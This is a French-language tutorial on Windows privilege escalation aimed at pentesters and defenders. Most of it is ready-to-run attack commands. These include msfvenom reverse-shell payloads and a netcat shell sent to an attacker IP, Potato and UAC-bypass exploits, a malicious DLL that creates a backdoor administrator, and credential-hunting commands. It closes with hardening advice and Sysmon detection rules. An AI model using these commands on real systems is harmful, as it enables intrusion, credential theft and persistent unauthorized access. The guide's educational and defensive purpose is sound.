Escalade de Privilèges Windows : Du User au SYSTEM

1. Introduction : pourquoi l'escalade de privilèges est critique

Dans toute opération offensive, l'accès initial n'est que le point de départ. L'obtention d'un shell en tant qu'utilisateur standard sur un poste Windows ne constitue qu'une victoire partielle. Pour exfiltrer des données sensibles, pivoter vers d'autres machines du réseau, installer une persistance durable ou compromettre un domaine Active Directory entier, l'attaquant doit impérativement élever ses privilèges vers un compte à haut niveau -- idéalement NT AUTHORITY\SYSTEM.

L'escalade de privilèges (privilege escalation) représente une étape fondamentale dans la kill chain de toute attaque sophistiquée. Selon le framework MITRE ATT&CK, la tactique TA0004 - Privilege Escalation regroupe plus de 30 sous-techniques documentées, dont la majorité cible spécifiquement l'écosystème Windows. Cette prévalence s'explique par la complexité inhérente du modèle de sécurité de Windows, qui offre une surface d'attaque considérable lorsqu'il est mal configuré.

Le modèle de sécurité Windows en profondeur

Comprendre l'escalade de privilèges nécessite une maîtrise des mécanismes fondamentaux de sécurité Windows. Le système repose sur plusieurs piliers architecturaux interconnectés :

Security Identifiers (SIDs) : chaque principal de sécurité (utilisateur, groupe, service) est identifié de manière unique par un SID. Le SID S-1-5-18 désigne le compte SYSTEM, tandis que S-1-5-32-544 identifie le groupe Administrateurs local. La connaissance de ces identifiants est essentielle pour comprendre les vecteurs d'attaque.

Access Tokens : lorsqu'un utilisateur s'authentifie, Windows génère un access token contenant son SID, les SIDs de ses groupes, et la liste de ses privilèges. Ce token est attaché à chaque processus lancé par l'utilisateur et constitue la « carte d'identité » présentée à chaque vérification d'accès. L'escalade de privilèges consiste, fondamentalement, à obtenir ou forger un token disposant de privilèges plus élevés que ceux du token courant.

Integrity Levels : Windows Vista a introduit le Mandatory Integrity Control (MIC) qui ajoute une couche de protection basée sur quatre niveaux d'intégrité : Untrusted, Low, Medium (utilisateur standard), High (administrateur élevé) et System. Un processus de niveau Medium ne peut pas écrire dans un objet de niveau High, même si les ACLs le permettraient théoriquement.

Access Control Lists (ACLs) : les DACLs (Discretionary ACLs) définissent qui peut accéder à chaque objet sécurisable du système -- fichiers, clés de registre, services, pipes nommés. Une ACL mal configurée sur un service critique constitue l'un des vecteurs d'escalade les plus fréquents rencontrés en audit.

Escalade locale vs. escalade distante

Il est crucial de distinguer deux scénarios. L'escalade locale suppose que l'attaquant dispose déjà d'une exécution de code sur la cible (via un shell inversé, un agent C2, ou un accès RDP limité) et cherche à élever ses droits sur cette même machine. L'escalade distante, plus rare, exploite des vulnérabilités réseau permettant d'obtenir directement un accès privilégié sans authentification préalable (exemple historique : EternalBlue / MS17-010). Cet article se concentre sur l'escalade locale, qui constitue la majorité des scénarios rencontrés en post-exploitation.

Dans les pages qui suivent, nous examinerons méthodiquement les principales familles de techniques d'escalade de privilèges sous Windows, des plus classiques (services mal configurés) aux plus modernes (attaques Potato). Pour chaque technique, nous fournirons des exemples concrets, les commandes d'exploitation, et les contre-mesures défensives associées. Ce guide s'adresse aux pentesteurs, aux membres d'équipes Red Team, ainsi qu'aux défenseurs souhaitant comprendre les vecteurs d'attaque pour mieux protéger leur infrastructure.

2. Énumération post-compromise

Avant de tenter toute exploitation, un attaquant méthodique procède à une phase d'énumération exhaustive. Cette étape est critique : elle permet d'identifier les vecteurs d'escalade disponibles sans déclencher d'alertes inutiles. Un bon pentesteur ne lance jamais d'exploit à l'aveugle -- il cartographie d'abord l'environnement.

Commandes manuelles essentielles

La première série de commandes permet de comprendre le contexte d'exécution et les caractéristiques du système :

:: Identité et privilèges courants
whoami
whoami /priv
whoami /groups
whoami /all

:: Informations système
systeminfo
hostname
[System.Environment]::OSVersion.Version

:: Utilisateurs et groupes
net user
net localgroup Administrators
net user Administrator
query user

:: Configuration réseau
ipconfig /all
route print
netstat -ano
arp -a

:: Processus et services
tasklist /svc
wmic service list brief
sc query state= all
wmic process list full

:: Tâches planifiées
schtasks /query /fo LIST /v

:: Programmes installés
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

:: Vérification des permissions
icacls "C:\Program Files"
icacls "C:\Windows\System32\config"
accesschk.exe -uwcqv "Authenticated Users" *

Privilèges Windows critiques à identifier

Certains privilèges, lorsqu'ils sont attribués au token courant, constituent des vecteurs d'escalade directs. La commande whoami /priv révèle ces opportunités :

Privilège	Impact	Technique associée
SeImpersonatePrivilege	Critique	Attaques Potato, named pipe impersonation
SeAssignPrimaryTokenPrivilege	Critique	Token manipulation directe
SeBackupPrivilege	Élevé	Lecture de fichiers protégés (SAM, NTDS.dit)
SeRestorePrivilege	Élevé	Écriture dans fichiers protégés
SeDebugPrivilege	Critique	Injection dans processus SYSTEM
SeTakeOwnershipPrivilege	Élevé	Prise de possession d'objets protégés
SeLoadDriverPrivilege	Critique	Chargement de drivers kernel vulnérables

Outils d'énumération automatisée

L'énumération manuelle est indispensable pour la compréhension, mais les outils automatisés permettent de ne rien oublier et de gagner un temps précieux :

WinPEAS (Windows Privilege Escalation Awesome Scripts)

WinPEAS est l'outil de référence pour l'énumération. Il effectue des centaines de vérifications couvrant les services, le registre, les tâches planifiées, les credentials stockées, les permissions de fichiers, et bien plus. Son exécution produit un rapport coloré hiérarchisant les résultats par criticité :

:: Exécution standard
.\winPEASany.exe quiet servicesinfo

:: Exécution complète avec sortie dans un fichier
.\winPEASany.exe log=winpeas_output.txt

:: Version PowerShell (plus furtive)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')

PowerUp (PowerSploit)

PowerUp est un module PowerShell spécialisé dans la détection de mauvaises configurations de services. Il est particulièrement efficace pour identifier les unquoted service paths, les permissions faibles sur les binaires de service, et les clés de registre modifiables :

Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

:: Vérifications spécifiques
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService

Seatbelt et SharpUp

Développés par l'équipe SpecterOps, ces outils .NET sont conçus pour la discrétion et l'intégration avec des frameworks C2 comme Cobalt Strike ou Sliver. Seatbelt collecte des informations de sécurité sans tenter d'exploitation, tandis que SharpUp se concentre sur l'identification des vecteurs d'escalade :

:: Seatbelt - collecte d'informations
Seatbelt.exe -group=all -full

:: SharpUp - vérification des vecteurs d'escalade
SharpUp.exe audit

Checklist d'énumération systématique

3. Services Windows mal configurés

Les services Windows représentent historiquement le vecteur d'escalade de privilèges le plus fréquent et le plus exploité en environnement d'entreprise. Un service Windows s'exécute typiquement avec des privilèges élevés (souvent LocalSystem), et toute faiblesse dans sa configuration peut être exploitée pour obtenir ces privilèges. Quatre catégories principales de mauvaises configurations sont régulièrement rencontrées lors d'audits.

Unquoted Service Paths (chemins de service non quotés)

Lorsqu'un service Windows est configuré avec un chemin d'accès contenant des espaces mais sans guillemets, le Service Control Manager (SCM) interprète le chemin de manière ambiguë. Windows tente alors de résoudre le chemin en testant successivement plusieurs emplacements, ce qui crée une opportunité d'injection de binaire malveillant.

Considérons un service dont le chemin est configuré ainsi :

C:\Program Files\Vulnerable App\Service Manager\svc.exe

Windows tentera de charger, dans cet ordre :

1. C:\Program.exe
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable App\Service.exe
4. C:\Program Files\Vulnerable App\Service Manager\svc.exe

Si l'attaquant peut écrire un fichier à l'un des emplacements intermédiaires, son binaire sera exécuté avec les privilèges du service.

:: Identifier les services avec chemins non quotés
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

:: Alternative PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select Name, PathName, StartMode

:: Vérifier les permissions d'écriture sur le dossier cible
icacls "C:\Program Files\Vulnerable App\"
accesschk.exe /accepteula -uwdq "C:\Program Files\Vulnerable App\"

Exploitation pas à pas

:: 1. Identifier le service vulnérable
sc qc VulnerableService

:: 2. Vérifier que nous pouvons écrire dans le répertoire
icacls "C:\Program Files\Vulnerable App\"
:: Résultat attendu : BUILTIN\Users:(W) ou (M)

:: 3. Créer le binaire malveillant (reverse shell ou ajout d'utilisateur)
:: Exemple : msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o Service.exe

:: 4. Copier le binaire à l'emplacement d'interception
copy Service.exe "C:\Program Files\Vulnerable App\Service.exe"

:: 5. Redémarrer le service (si possible)
sc stop VulnerableService
sc start VulnerableService

:: 6. Alternativement, attendre un redémarrage du système
shutdown /r /t 0

Permissions faibles sur les binaires de service

Si le binaire exécuté par un service est modifiable par un utilisateur non privilégié, l'attaquant peut simplement remplacer le fichier par un payload malveillant. Cette vulnérabilité est détectée en vérifiant les ACLs du fichier exécutable référencé par le service.

:: Vérifier les permissions sur tous les binaires de service
for /f "tokens=2 delims='='" %a in ('wmic service list full ^| find /i "pathname" ^| find /i /v "system32"') do @echo %a >> service_paths.txt
:: Puis vérifier chaque chemin avec icacls

:: Avec accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Users" * /s

:: PowerUp automatise cette détection
Get-ModifiableServiceFile

Permissions faibles sur la configuration du service

Au-delà du binaire, le service lui-même peut avoir des permissions de configuration trop larges. Si un utilisateur standard peut modifier la configuration du service (via sc config), il peut changer le chemin du binaire pour pointer vers un exécutable malveillant.

:: Vérifier les permissions du service avec sc sdshow
sc sdshow VulnerableService

:: Avec accesschk
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "BUILTIN\Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *

:: Si SERVICE_CHANGE_CONFIG est accordé :
sc config VulnerableService binpath= "C:\Temp\payload.exe"
sc stop VulnerableService
sc start VulnerableService

Service DLL Hijacking

Certains services chargent des DLLs au démarrage en suivant l'ordre de recherche standard de Windows. Si l'une de ces DLLs est absente ou si le répertoire de recherche est accessible en écriture, l'attaquant peut placer une DLL malveillante qui sera chargée par le service avec ses privilèges élevés. Nous approfondirons ce vecteur dans la section dédiée au DLL Hijacking.

4. Token Manipulation et Impersonation

La manipulation de tokens constitue l'une des familles de techniques les plus puissantes pour l'escalade de privilèges sous Windows. Elle repose sur l'exploitation de privilèges spécifiques -- principalement SeImpersonatePrivilege et SeAssignPrimaryTokenPrivilege -- qui permettent à un processus d'usurper l'identité d'un autre utilisateur en capturant ou en forgeant son token d'accès.

SeImpersonatePrivilege : la clé de voûte

Le privilège SeImpersonatePrivilege est attribué par défaut aux comptes de service (LOCAL SERVICE, NETWORK SERVICE) et aux comptes exécutant des services IIS, MSSQL, ou d'autres applications serveur. Ce privilège permet au processus de se faire passer pour n'importe quel client qui s'authentifie auprès de lui via une connexion nommée (named pipe) ou un appel COM.

Le mécanisme est le suivant : si un processus disposant de SeImpersonatePrivilege parvient à faire en sorte qu'un processus SYSTEM s'authentifie auprès de lui, il peut capturer le token SYSTEM résultant et l'utiliser pour créer de nouveaux processus avec des privilèges maximaux. C'est exactement le principe exploité par toute la famille d'attaques Potato.

La famille Potato : évolution et variantes

Les attaques « Potato » exploitent toutes le même principe fondamental : forcer une authentification NTLM d'un compte privilégié vers un endpoint contrôlé par l'attaquant, puis capturer le token résultant via l'impersonation. L'évolution de cette famille d'outils illustre parfaitement la course entre attaquants et défenseurs.

RottenPotato / JuicyPotato (2018)

JuicyPotato exploitait le mécanisme DCOM/RPC de Windows pour forcer le service BITS (ou d'autres services COM) à s'authentifier vers un serveur COM local contrôlé par l'attaquant. Cette technique fonctionnait remarquablement bien sur Windows 7/8/10 et Server 2008/2012/2016, mais a été partiellement corrigée sur les versions ultérieures.

:: JuicyPotato - exploitation classique
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\reverse.exe" -t *

:: Avec un CLSID spécifique pour le service ciblé
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\Temp\whoami.txt" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

PrintSpoofer (2020)

Développé par itm4n, PrintSpoofer contourne les protections ajoutées par Microsoft contre JuicyPotato en exploitant le service Print Spooler via les named pipes. L'outil crée un named pipe avec un nom prévisible, puis utilise l'API SpoolssAccessRouter pour forcer le service Spooler (s'exécutant en SYSTEM) à se connecter à ce pipe. Le token SYSTEM est alors capturé par impersonation.

:: PrintSpoofer - élévation vers SYSTEM
PrintSpoofer.exe -i -c cmd

:: Avec exécution d'une commande spécifique
PrintSpoofer.exe -c "C:\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

GodPotato (2023)

GodPotato représente une avancée significative car il fonctionne sur toutes les versions de Windows de Windows 8 à Windows 11, et de Server 2012 à Server 2022. Il exploite directement l'interface DCOM IStorage sans dépendre d'un CLSID spécifique, ce qui le rend plus universel et fiable que ses prédécesseurs.

:: GodPotato - exploitation universelle
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c net user hacker P@ssw0rd /add && net localgroup Administrators hacker /add"

SweetPotato et CoercedPotato (2024-2025)

SweetPotato combine plusieurs techniques d'abus COM dans un seul outil, tandis que CoercedPotato utilise les mécanismes de coercion d'authentification (similaires à PetitPotam) en local pour forcer une authentification SYSTEM. Ces outils modernes sont régulièrement mis à jour pour contourner les nouvelles protections.

:: SweetPotato - multiple vectors
SweetPotato.exe -a "cmd /c whoami > C:\Temp\out.txt"

:: CoercedPotato
CoercedPotato.exe --revshell 10.10.14.5 4444

Named Pipe Impersonation manuelle

Au-delà des outils automatisés, il est possible de réaliser une impersonation via named pipe de manière programmatique. Le principe consiste à créer un named pipe, attendre qu'un processus privilégié s'y connecte, puis appeler ImpersonateNamedPipeClient() pour capturer son token :

// Pseudo-code C illustrant le mécanisme
HANDLE hPipe = CreateNamedPipe(
    L"\\\\.\\pipe\\SpoolPipe",    // Nom du pipe
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    1, 1024, 1024, 0, NULL
);

ConnectNamedPipe(hPipe, NULL);        // Attendre une connexion
ImpersonateNamedPipeClient(hPipe);    // Capturer le token

// Maintenant le thread courant opère avec le token du client
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);

// Créer un processus avec le token capturé
CreateProcessWithTokenW(hToken, 0, L"cmd.exe", NULL, 0, NULL, NULL, &si, &pi);

Cette technique est particulièrement utile lorsqu'on développe des implants personnalisés pour des opérations Red Team nécessitant de la discrétion face aux EDR. Les outils Potato sont bien signaturés par les solutions de sécurité modernes, alors qu'une implémentation custom a plus de chances de passer inaperçue.

5. UAC Bypass

Le User Account Control (UAC) est un mécanisme de sécurité introduit avec Windows Vista, conçu pour limiter l'impact des actions administratives non intentionnelles. Même lorsqu'un utilisateur appartient au groupe Administrateurs, ses processus s'exécutent par défaut avec un token « filtré » de niveau d'intégrité Medium. Pour obtenir un token « élevé » de niveau High, une validation explicite est théoriquement requise via la boîte de dialogue UAC.

En pratique, UAC n'est pas une barrière de sécurité au sens strict du terme -- Microsoft l'a d'ailleurs toujours présenté comme une fonctionnalité de confort plutôt que comme un contrôle de sécurité. De nombreuses techniques permettent de le contourner silencieusement.

Comprendre les niveaux UAC

Windows propose quatre niveaux de configuration UAC, du plus restrictif au plus permissif :

Niveau	Comportement	Bypassable
Always Notify	Notification pour tout changement	Très difficile
Default (Notify changes)	Notification sauf pour Windows settings	Oui, via auto-elevation
Notify (no dim)	Comme Default, sans dimmer le bureau	Oui
Never Notify	UAC effectivement désactivé	Non applicable

Le niveau par défaut (Notify me only when apps try to make changes) est le plus couramment exploité car il active le mécanisme d'auto-élévation : certains exécutables Microsoft signés et configurés avec le manifeste autoElevate=true peuvent s'élever automatiquement sans déclencher la boîte de dialogue UAC.

Technique : fodhelper.exe

fodhelper.exe est un utilitaire Windows utilisé pour gérer les fonctionnalités optionnelles. Il possède le flag autoElevate dans son manifeste, ce qui signifie qu'il s'élève automatiquement sans prompt UAC. Avant de s'exécuter, fodhelper.exe consulte certaines clés de registre que l'utilisateur courant peut modifier :

:: 1. Créer la clé de registre exploitée par fodhelper
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\System32\cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

:: 2. Lancer fodhelper.exe (s'auto-élève sans prompt UAC)
C:\Windows\System32\fodhelper.exe

:: 3. Résultat : cmd.exe s'ouvre avec des privilèges élevés (High integrity)

:: 4. Nettoyage
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f

Technique : eventvwr.exe

L'observateur d'événements Windows (eventvwr.exe) est un autre binaire auto-élevé qui consulte des clés de registre HKCU avant de charger un composant MMC. L'exploitation suit le même schéma :

:: Exploitation via eventvwr.exe
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c start C:\Temp\payload.exe" /f
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
eventvwr.exe

Technique : sdclt.exe (Windows 10)

sdclt.exe est l'utilitaire de sauvegarde et restauration Windows. Sur Windows 10, il consulte la clé HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe pour résoudre le chemin du panneau de configuration, ce qui offre un vecteur de détournement similaire.

Technique : CMSTPLUA COM Object

Cette technique plus avancée utilise l'objet COM CMSTPLUA (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}) qui possède le flag d'auto-élévation. En instanciant cet objet via COM et en appelant sa méthode ShellExec, il est possible d'exécuter un processus avec des privilèges élevés sans prompt UAC. Cette technique est souvent utilisée dans les implants Living-off-the-Land car elle n'implique que des API COM légitimes.

:: PowerShell - exploitation CMSTPLUA COM
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("3E5FC7F9-9A51-4367-9063-A120244FBEC7"))
$com.ShellExec("cmd.exe", "/c whoami > C:\Temp\elevated.txt")

Le projet UACME

Le projet UACME (UACMe sur GitHub) est une collection exhaustive de techniques de bypass UAC, maintenue depuis des années et comptant plus de 70 méthodes documentées. Chaque nouvelle version de Windows corrige certaines techniques, mais de nouvelles sont régulièrement découvertes. En 2025-2026, les méthodes les plus fiables combinent l'abus de composants COM auto-élevés avec le détournement de DLL sur des processus élevés.

6. DLL Hijacking et DLL Sideloading

Le DLL Hijacking exploite l'ordre de recherche des bibliothèques dynamiques (DLLs) par Windows pour injecter du code malveillant dans des processus légitimes. Lorsqu'un programme tente de charger une DLL sans spécifier de chemin absolu, Windows suit un ordre de recherche prédéfini qui peut être détourné par un attaquant.

Ordre de recherche DLL Windows

Par défaut (avec le mode SafeDllSearchMode activé), Windows recherche les DLLs dans l'ordre suivant :

1. Le répertoire depuis lequel l'application est chargée
2. Le répertoire système (C:\Windows\System32)
3. Le répertoire système 16-bit (C:\Windows\System)
4. Le répertoire Windows (C:\Windows)
5. Le répertoire de travail courant (CWD)
6. Les répertoires listés dans la variable d'environnement PATH

Si un programme élevé tente de charger une DLL absente du répertoire système mais qui peut être placée dans un répertoire accessible en écriture (comme un répertoire dans le PATH utilisateur), l'attaquant peut fournir une DLL malveillante qui sera chargée avec les privilèges du programme ciblé.

Phantom DLL Hijacking

Le Phantom DLL Hijacking est la variante la plus propre : il cible des DLLs que le programme tente de charger mais qui n'existent pas sur le système. Le programme gère gracieusement l'échec de chargement et continue de fonctionner normalement, mais si l'attaquant fournit la DLL manquante, elle est chargée et exécutée silencieusement.

L'identification de DLLs fantômes se fait efficacement avec Process Monitor (ProcMon) de Sysinternals en filtrant les événements CreateFile avec le résultat NAME NOT FOUND pour les fichiers .dll :

:: Lancer ProcMon avec les filtres appropriés
:: Filtre : Path ends with .dll AND Result is NAME NOT FOUND
:: Observer les programmes élevés et noter les DLLs manquantes

:: Exemple : identifier les DLLs manquantes d'un service
Procmon.exe /accepteula /backingfile C:\Temp\procmon.pml /quiet

DLL Proxying

Lorsqu'un programme dépend d'une DLL existante qui doit fournir des fonctions spécifiques, le simple remplacement de la DLL provoque un crash. Le DLL Proxying (ou DLL forwarding) résout ce problème : la DLL malveillante exporte toutes les fonctions originales en les redirigeant vers la DLL légitime (renommée), tout en exécutant du code arbitraire au chargement.

// Exemple de fichier .def pour le proxying
// Original DLL renommée en "original_genuine.dll"
EXPORTS
    Function1=original_genuine.Function1
    Function2=original_genuine.Function2
    DllMain=DllMain  // Notre point d'entrée malveillant

Des outils comme SharpDLLProxy automatisent la création de DLLs proxy en analysant la table d'export de la DLL cible et en générant le code source nécessaire.

WinSxS Abuse

Le répertoire C:\Windows\WinSxS (Windows Side-by-Side) contient des copies versionnées de composants système. Certains programmes utilisent des manifestes pour charger des DLLs depuis WinSxS, et des conditions de course ou des permissions inadéquates peuvent être exploitées pour injecter des DLLs malveillantes dans cette structure.

Génération de payloads DLL

:: Avec msfvenom - DLL reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o malicious.dll

:: DLL personnalisée en C (plus furtive)
// dll_payload.c
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
    switch (ul_reason) {
    case DLL_PROCESS_ATTACH:
        // Payload exécuté au chargement
        system("cmd.exe /c net user backdoor P@ssw0rd! /add");
        system("cmd.exe /c net localgroup Administrators backdoor /add");
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

:: Compilation
x86_64-w64-mingw32-gcc -shared -o payload.dll dll_payload.c

7. Autres techniques d'escalade

Au-delà des vecteurs principaux détaillés précédemment, de nombreuses autres techniques permettent l'escalade de privilèges sous Windows. Chacune exploite une faiblesse spécifique de configuration ou une vulnérabilité logicielle.

Tâches planifiées modifiables

Les Scheduled Tasks s'exécutent souvent avec des privilèges élevés. Si le script ou le binaire référencé par une tâche planifiée est modifiable par un utilisateur non privilégié, l'escalade est triviale :

:: Lister les tâches planifiées avec détails
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user\|scheduled task"

:: Vérifier les permissions sur les scripts référencés
icacls "C:\Scripts\maintenance.ps1"

:: Si modifiable, injecter du code
echo "net user attacker P@ssw0rd /add" >> "C:\Scripts\maintenance.ps1"
echo "net localgroup Administrators attacker /add" >> "C:\Scripts\maintenance.ps1"

AlwaysInstallElevated

Lorsque les clés de registre AlwaysInstallElevated sont définies à 1 dans HKLM et HKCU, tout fichier MSI est installé avec des privilèges SYSTEM, même par un utilisateur standard. C'est une configuration dangereuse parfois déployée par erreur dans les GPOs :

:: Vérifier la configuration
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Si les deux valeurs sont à 0x1, exploitation :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o escalation.msi
msiexec /quiet /qn /i escalation.msi

Credentials stockées et mots de passe en clair

Windows stocke fréquemment des credentials dans divers emplacements que l'énumération post-compromise doit systématiquement vérifier :

:: Credentials Manager
cmdkey /list
:: Si des credentials sont stockées, utilisation :
runas /savecred /user:Administrator "cmd.exe /c whoami > C:\Temp\admin.txt"

:: Fichiers de configuration Unattend/Sysprep
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\unattend\Unattend.xml
type C:\Windows\System32\sysprep\Sysprep.xml

:: Mots de passe WiFi
netsh wlan show profile
netsh wlan show profile name="SSID" key=clear

:: DPAPI - décryptage des secrets protégés
:: Les outils comme Mimikatz ou SharpDPAPI permettent de décrypter
:: les secrets protégés par DPAPI si l'on dispose du mot de passe utilisateur

:: Registre - recherche de mots de passe
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Kernel Exploits

Lorsqu'aucune mauvaise configuration n'est exploitable, les vulnérabilités du noyau Windows constituent le dernier recours. L'exploitation kernel est risquée (risque de BSOD) mais offre un accès SYSTEM direct. Parmi les CVEs notables exploitables en escalade locale, on peut consulter notre article détaillé sur l'exploitation du kernel Windows et le contournement de KASLR :

CVE	Composant	Versions affectées	Impact
CVE-2021-1732	Win32k	Windows 10 / Server 2019	EoP vers SYSTEM
CVE-2021-34527	Print Spooler (PrintNightmare)	Toutes versions	EoP + RCE
CVE-2022-21882	Win32k	Windows 10/11	EoP vers SYSTEM
CVE-2023-21768	AFD.sys	Windows 11	EoP vers SYSTEM
CVE-2024-30088	Kernel	Windows 10/11 / Server	EoP vers SYSTEM

:: Identifier la version exacte du système pour trouver les exploits applicables
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
wmic qfe list | find /i "KB"

:: Comparer avec les bases de données d'exploits
:: Windows Exploit Suggester (Python)
python3 windows-exploit-suggester.py --database 2026-02-15-mssb.xlsx --systeminfo sysinfo.txt

:: Watson (.NET - plus moderne)
Watson.exe

Group Policy Preferences (GPP) - cpassword

Bien que corrigée depuis 2014 (MS14-025), cette vulnérabilité est encore régulièrement rencontrée dans les environnements hérités. Les Group Policy Preferences pouvaient contenir des mots de passe chiffrés (cpassword) dans des fichiers XML stockés dans le partage SYSVOL. La clé de chiffrement AES ayant été publiée par Microsoft, ces mots de passe sont trivialement déchiffrables :

:: Rechercher des fichiers GPP dans SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\domain.local\Policies\*.xml

:: Décryptage avec gpp-decrypt (Kali Linux)
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Pour une compréhension plus approfondie des attaques liées aux protocoles d'authentification Windows, consultez notre article sur l'exploitation de Kerberos en environnement Active Directory.

PrintNightmare (CVE-2021-34527) : un cas d'école

PrintNightmare mérite une mention spéciale car cette vulnérabilité dans le service Print Spooler a permis à la fois l'escalade locale et l'exécution de code à distance. Même corrigée, elle illustre parfaitement pourquoi le service Spooler devrait être désactivé sur les serveurs qui n'en ont pas besoin. De nombreux environnements restent partiellement vulnérables en raison de configurations héritées. Pour maintenir un accès persistant après l'escalade, les techniques décrites dans notre guide de persistance sous macOS et Linux offrent des parallèles intéressants sur les systèmes non-Windows.

8. Détection et durcissement

La défense contre l'escalade de privilèges Windows repose sur une approche multicouche combinant la réduction de la surface d'attaque, la surveillance continue et la réponse rapide aux incidents. Chaque technique offensive décrite dans cet article possède des contre-mesures spécifiques, mais certains principes transversaux permettent de couvrir l'ensemble du spectre.

LAPS (Local Administrator Password Solution)

LAPS est une solution Microsoft gratuite qui génère et fait tourner automatiquement les mots de passe des comptes administrateurs locaux sur chaque poste du domaine. Chaque machine possède un mot de passe unique, stocké de manière chiffrée dans Active Directory, ce qui élimine le risque de mouvement latéral via un mot de passe administrateur local partagé.

Depuis Windows Server 2022 et Windows 11, Windows LAPS (successeur de Legacy LAPS) est intégré nativement au système et supporte le chiffrement des mots de passe dans AD, la rotation automatique, et l'audit des accès aux mots de passe.

:: Vérifier si LAPS est déployé
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null} | Select Name

:: Windows LAPS - vérification
Get-LapsADPassword -Identity WORKSTATION01 -AsPlainText

Credential Guard

Windows Credential Guard utilise la virtualization-based security (VBS) pour isoler les secrets d'authentification (hashes NTLM, tickets Kerberos) dans un environnement sécurisé inaccessible même à un processus SYSTEM. Bien que Credential Guard ne protège pas directement contre l'escalade de privilèges locale, il empêche la récupération de credentials qui pourrait faciliter le mouvement latéral post-escalade.

Surveillance avec Sysmon

Sysmon (System Monitor) est l'outil de surveillance le plus puissant pour détecter les tentatives d'escalade de privilèges. Les Event IDs suivants sont particulièrement pertinents :

Event ID	Événement	Pertinence pour l'escalade
1	Process Creation	Détection de processus suspects (Potato, PrintSpoofer, etc.)
7	Image Loaded	Détection de DLL hijacking (chargement depuis chemins inhabituels)
8	CreateRemoteThread	Injection de thread dans un processus privilégié
10	Process Access	Accès au processus LSASS ou à des processus SYSTEM
11	File Created	Création de binaires dans des répertoires de service
13	Registry Value Set	Modification de clés UAC, service paths, AlwaysInstallElevated
17/18	Pipe Created/Connected	Détection d'impersonation via named pipes
25	Process Tampering	Détection de process hollowing et herpaderping

:: Exemple de configuration Sysmon pour détecter l'escalade
<Sysmon>
  <EventFiltering>
    <!-- Détecter les outils Potato -->
    <ProcessCreate onmatch="include">
      <Image condition="contains any">Potato;PrintSpoofer;JuicyPotato;GodPotato</Image>
    </ProcessCreate>
    
    <!-- Détecter les modifications de registre UAC -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject>
      <TargetObject condition="contains">mscfile\Shell\Open\command</TargetObject>
      <TargetObject condition="contains">AlwaysInstallElevated</TargetObject>
    </RegistryEvent>
    
    <!-- Détecter les named pipes suspects -->
    <PipeEvent onmatch="include">
      <PipeName condition="contains any">SpoolPipe;coercer;pipe_name</PipeName>
    </PipeEvent>
  </EventFiltering>
</Sysmon>

AppLocker et WDAC

AppLocker permet de restreindre l'exécution de programmes non autorisés en définissant des règles basées sur le chemin, le hash ou la signature numérique. WDAC (Windows Defender Application Control) offre une protection plus robuste en opérant au niveau du kernel, ce qui le rend plus difficile à contourner.

